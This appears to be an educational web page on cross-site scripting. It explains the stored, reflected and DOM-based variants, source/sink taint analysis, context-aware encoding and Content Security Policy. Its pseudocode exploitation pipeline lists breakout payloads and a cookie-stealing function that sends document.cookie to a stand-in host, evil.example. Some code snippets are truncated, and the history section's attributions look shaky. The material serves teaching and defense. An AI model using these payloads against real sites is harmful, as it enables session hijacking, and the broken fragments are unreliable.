Cross-Site Scripting

A comment box on a shopping site lets users describe products in their own words. One user submits a review containing a `

Key takeaways
  • XSS injects attacker script into a page so it runs with the victim page's own origin privileges, breaking the assumption that a site's scripts are trusted and third-party content is not.
  • Stored XSS: malicious input is saved server-side (a comment, a profile field) and served to every later visitor.
  • Reflected XSS: malicious input arrives in a request (URL, form) and is echoed back in the immediate response, unstored.
  • DOM-based XSS: the vulnerability lives entirely in client-side JavaScript that writes untrusted data into the DOM via unsafe sinks like `innerHTML`.
  • The fix is context-aware output encoding — HTML-encode, attribute-encode, JS-string-encode, or URL-encode depending on exactly where data lands — plus a strict Content Security Policy as defense in depth.
  • XSS is frequently the delivery mechanism for session hijacking and for planting forged requests, foreshadowing Cross-Site Request Forgery.
The core insight

XSS breaks the browser's trust model by tricking a page into treating attacker-supplied text as code, so the fix is never "sanitize input" alone — it is "encode output for the exact syntactic context it lands in."

The idea

Cross-site scripting is a class of injection vulnerability in which an application includes untrusted data in a web page without neutralizing it for the syntactic context it is placed in, allowing that data to be interpreted as active content — most often JavaScript, but also HTML, CSS, or a `javascript:` URL. The word "cross-site" is historical: the earliest reported cases involved a script from one site running as if it belonged to another (an attacker's payload, reflected through a trusted site, executing with that trusted site's origin). Modern XSS is better understood as script injection into a trust boundary, regardless of whether a second site is literally involved. The three canonical variants differ in where the untrusted data originates and where it is rendered:

  • Stored (persistent) XSS: the payload is saved by the server — in a database, a file, a log — and later served, unescaped, to other users' browsers. It is the most dangerous variant because it requires no interaction from the attacker with each victim; the victim just has to view the page.
  • Reflected (non-persistent) XSS: the payload travels in the current request (a URL query parameter, a form field, an HTTP header) and is echoed back into the immediate HTTP response. It requires the attacker to lure a victim into clicking a crafted link, since the payload lives in the request itself.
  • DOM-based XSS: the vulnerable code path never touches the server at all. Client-side JavaScript reads untrusted data (from `location.hash`, `document.referrer`, `window.name`, a `postMessage` event) and writes it into a dangerous DOM sink — `innerHTML`, `document.write`, `eval`, `setAttribute("onclick", ...)` — causing execution purely in the browser.

A useful vocabulary distinguishes a source (any place untrusted data enters — a request parameter, a URL fragment, a stored field) from a sink (any place data is interpreted as code or markup — `innerHTML`, template output, `eval`, an `href` attribute). An XSS vulnerability is precisely an unbroken taint flow from a source to a sink without adequate context-appropriate encoding along the way. This source–sink framing is the backbone of both manual code review and automated static/dynamic XSS scanners.

How it works

The mechanism is identical across variants: untrusted data crosses a context boundary inside HTML/JS parsing without being neutralized, so the browser's parser interprets it as a new syntactic construct rather than as inert data. Consider a comment field rendered like this on the server: ```html

Welcome, {{ username }}!
``` If `username` is inserted verbatim and a user sets their username to ``, the rendered page becomes: ```html
Welcome, !
``` The browser's HTML parser does not know or care that this text came from user input — it sees a `` echoed straight into a "search results for: ..." message, it is reflected XSS. If a client-side router does `document.getElementById("out").innerHTML = decodeURIComponent(location.hash.slice(1))`, the same payload delivered via `#` triggers DOM-based XSS with the server never seeing the payload at all.

The generic exploitation pipeline

```pseudocode // Generic model of an XSS exploitation attempt function is_vulnerable(app, injection_point): payload = choose_probe(injection_point.context) // e.g. context = HTML_BODY, HTML_ATTRIBUTE, JS_STRING, URL response = app.submit(injection_point, payload) if payload.marker appears UNESCAPED and in EXECUTABLE position in response: return true // sink reached without neutralization else: return false

function craft_exploit(injection_point, victim_action): context = injection_point.context if context == HTML_BODY: payload = "" else if context == HTML_ATTRIBUTE: payload = '">' else if context == JS_STRING_LITERAL: payload = "';steal_cookie();//" else if context == URL_ATTRIBUTE: payload = "javascript:steal_cookie()" if injection_point.kind == STORED: app.submit(injection_point, payload) // persists once // every future visitor to the page triggers execution else if injection_point.kind == REFLECTED: url = build_url_with(payload) deliver_to_victim(url) // needs a click else if injection_point.kind == DOM_BASED: url = build_url_with_fragment(payload) // #payload, no server round trip deliver_to_victim(url) return payload

function steal_cookie(): // runs INSIDE the victim's authenticated session exfiltrate(document.cookie, to = "https://evil.example/collect") ``` The pseudocode makes the key invariant explicit: exploitation always requires (1) an injection point whose output is not neutralized for its context, and (2) a way to route the payload to a victim's browser — via storage (stored), a crafted link (reflected), or a client-side sink fed by an untrusted source (DOM-based).

The defensive pipeline

Correct defense flips the model: every value that flows from an untrusted source into an HTML-rendering sink must pass through an encoder matched to that exact context before insertion. ```pseudocode function render_safely(template, values): for (value, context) in bind(template, values): if context == HTML_BODY: output(html_entity_encode(value)) // & < > " ' -> entities else if context == HTML_ATTRIBUTE: output(attribute_encode(value)) // encode & < > " ' and non-alnum else if context == JS_STRING_LITERAL: output(json_string_encode(value)) // escape quotes, backslash, U+2028/2029 else if context == URL: if not is_allowed_scheme(value, {"http","https","mailto"}): reject(value) // block javascript:, data: output(url_component_encode(value)) else if context == CSS_VALUE: output(css_encode(value)) return assembled_output ``` Every modern templating engine (Jinja2 autoescape, React JSX, Angular's built-in sanitizer, Go's `html/template`) implements exactly this context-dispatch table by default, which is why "auto-escaping template engine" is the single highest-leverage mitigation available.

Figure
The XSS trust-boundary break: script executes inside the origin it was injected into
Stored XSS lifecycle Attacker posts comment: <script>...</script> Server DB stores payload unescaped, verbatim HTTP response <div>...payload...</div> served to victim Victim browser parses & runs Origin model, broken: script tag is served FROM bank.com, so the browser grants it bank.com's privileges: cookies, DOM access, ability to submit authenticated requests — exactly the trust the Same-Origin Policy reserves for the site's own code. Same flow, with context-aware encoding Attacker same payload Server HTML-encodes on output Response &lt;script&gt;...&lt;/script&gt; Victim sees inert text

Complexity & correctness

XSS is not an algorithmic problem in the runtime-complexity sense, so "complexity" here means the cost of detection, exploitation, and defense, plus a correctness argument for why context-aware encoding actually closes the hole.

Detection cost. Finding a candidate injection point by black-box probing is `O(1)` per input field: submit a marker string, check whether it reappears unescaped and in an executable position. Exhaustively covering an application with `n` distinct input fields and `k` relevant HTML/JS contexts each is `O(n·k)` probes — linear, which is why automated scanners (e.g., dynamic application security testing tools) can practically fuzz large applications. Static taint analysis instead builds a data-flow graph of `V` variables/expressions and `E` assignment/propagation edges and asks reachability from sources to sinks, which is `O(V + E)` per source–sink pair using graph traversal (BFS/DFS), though real analyzers must approximate around dynamic dispatch and string operations, so this is a sound-but-incomplete over-approximation, not an exact decision procedure.

Exploitation cost. Once a reachable, unescaped sink is confirmed, crafting a working payload for a known context is `O(1)`: a short, fixed catalog of context-specific breakout strings (closing a ``payload embedded in query string2AttackerSends link to victim (email, chat, ad)victim has an active session on `shop.example`3VictimClicks link while logged inbrowser issues GET to `shop.example/search?q=...`4ServerReads `q`, concatenates into response with no encoding`html = "

Results for:

"`5BrowserParses response HTMLencounters `

Pioneers & history

XSS was not invented by one researcher; it was discovered as a structural consequence of dynamic web pages combined with the browser's origin-based trust model, and then formalized by security practitioners and CERT advisories in the late 1990s and early 2000s as reflected and stored variants proliferated across web forums, guestbooks, and webmail clients.

Origins · 1 minDan Boneh and how this was discovered
DB
Dan Boneh
b. 1969 · Stanford cryptographer whose applied security lab produced foundational analyses of web-application vulnerabilities, including systematic studies of cross-site scripting and its exploitation alongside session and cookie security, shaping how the field formalized client-side injection attacks

History
1996
Early guestbook and forum scripts on the nascent web are exploited via unescaped user HTML, though the term "cross-site scripting" does not yet exist.
2000
CERT Advisory CA-2000-02 formally documents "malicious HTML tags embedded in client web requests," coining public awareness of the XSS pattern.
2005
The Samy worm on MySpace demonstrates self-propagating stored XSS at massive scale within 24 hours, forcing platform-wide input/output handling redesigns.
2007
OWASP formalizes XSS as a top web application risk category, driving adoption of auto-escaping template engines industry-wide.
2010
s: Content Security Policy (CSP) is standardized and widely deployed as browser-enforced defense in depth against injected scripts.

Where this matters

Every major web framework now ships an auto-escaping template layer specifically to prevent XSS by default: Django and Jinja2 escape HTML automatically unless a developer opts out with `|safe`; React escapes all JSX expression values unless `dangerouslySetInnerHTML` is explicitly invoked, a naming choice that makes the escape hatch self-documenting; Angular's built-in `DomSanitizer` strips dangerous content unless a developer explicitly bypasses it. Browser vendors ship Content Security Policy enforcement and the `HttpOnly` cookie flag (preventing `document.cookie` from reading session cookies even if a script does run) as platform-level mitigations layered atop application code. Bug bounty programs at major tech companies routinely rank XSS among the most frequently reported and highest-paid vulnerability classes, and browser security teams maintain dedicated XSS auditors (e.g., Chrome's XSS Auditor lineage and its successor, Trusted Types) specifically because the attack surface recurs in every templating layer, every client-side router, and every rich-text editor. XSS is also frequently the delivery vector that plants a forged authenticated request or exfiltrates an anti-forgery token, which is precisely the mechanism explored next under Cross-Site Request Forgery.

Ask the tutor: How does a Content Security Policy's `nonce` mechanism let you keep some inline scripts while still blocking injected ones?

Is XSS the same as SQL injection?

No — both are injection vulnerabilities, but they target different interpreters. SQL injection smuggles attacker-controlled syntax into a database query parser, letting attackers read or modify data server-side. XSS smuggles attacker-controlled syntax into the browser's HTML/JavaScript parser, letting attackers execute code in a victim's browser session. The unifying principle — untrusted data crossing into an interpreter without context-appropriate encoding — is shared, but the fix differs: parameterized queries for SQL injection, context-aware output encoding for XSS. Both are consequences of conflating data and code in a single text stream.

Can XSS happen even if the server never stores anything and only serves static files?

Yes, via DOM-based XSS. A static HTML file can still include client-side JavaScript that reads untrusted data from `location.hash`, `document.referrer`, or `window.name` and writes it into a dangerous sink like `innerHTML`. Because the payload never has to reach the server — it lives entirely in the URL fragment or is set by client-side state — server-side defenses like output encoding on the backend are irrelevant here. The fix must live in the client code itself: avoid dangerous sinks, prefer `textContent`, and sanitize any HTML you must insert with a vetted library.

Does using HTTPS prevent XSS?

No. HTTPS (TLS) protects the confidentiality and integrity of data as it travels between browser and server; it says nothing about whether the server's own HTML output contains unescaped attacker-controlled content. An XSS payload delivered over a perfectly valid TLS connection executes exactly as it would over plain HTTP, because the vulnerability is in what the application puts inside the page, not in how the page is transported. HTTPS and XSS defenses solve different problems and are both necessary, but neither substitutes for the other.

What is Content Security Policy and how does it help against XSS?

Content Security Policy (CSP) is an HTTP response header that lets a server tell the browser which sources of scripts, styles, and other resources are allowed to execute or load on a page. A strict policy like `script-src 'self'` blocks inline `

Why can't input validation alone stop XSS?

Input validation (rejecting or restricting what characters an input field accepts) can reduce the attack surface but cannot fully solve XSS, because many legitimate inputs — a name like `O'Brien`, a bio containing `<3`, a math comment with `a < b` — legitimately contain characters that are also dangerous in HTML contexts. Rejecting all such input breaks legitimate use cases; accepting it and forgetting to encode it later reopens the hole. The vulnerability is really about the output context, not the input value, so encoding at the point of insertion into HTML/JS/URL is the necessary and sufficient control, with input validation serving only as a helpful additional layer.

How does mutation XSS (mXSS) evade standard sanitizers?

Mutation XSS exploits the fact that browsers re-parse and "normalize" HTML/DOM content after a sanitizer has already approved it, sometimes producing a different, dangerous structure than what the sanitizer analyzed. For example, a sanitizer might approve a string that looks inert when parsed once, but when the browser's HTML parser processes it a second time (e.g., after being assigned to `innerHTML` and then read back), quirks in tag auto-closing or attribute reinterpretation can mutate it into an executable form. Defending against mXSS requires sanitizer libraries that are specifically hardened against these round-trip parsing quirks (such as DOMPurify), rather than simple string-based blocklist or regex sanitization.

Is XSS still relevant given modern frameworks like React auto-escape by default?

Very much so — auto-escaping shifts, but does not eliminate, the risk. Frameworks close the most common stored/reflected paths automatically, but developers routinely reintroduce risk via explicit escape hatches (`dangerouslySetInnerHTML`, `v-html`, `[innerHTML]` bindings), third-party widgets, rich-text editors that must render HTML by design, and hand-written client-side routing logic that reads URL fragments. DOM-based XSS in particular is framework-agnostic since it lives in custom JavaScript logic. XSS remains consistently near the top of reported web vulnerabilities in bug bounty programs precisely because these escape hatches and custom code paths persist even in modern, auto-escaping-by-default stacks.

Before this

Where this leads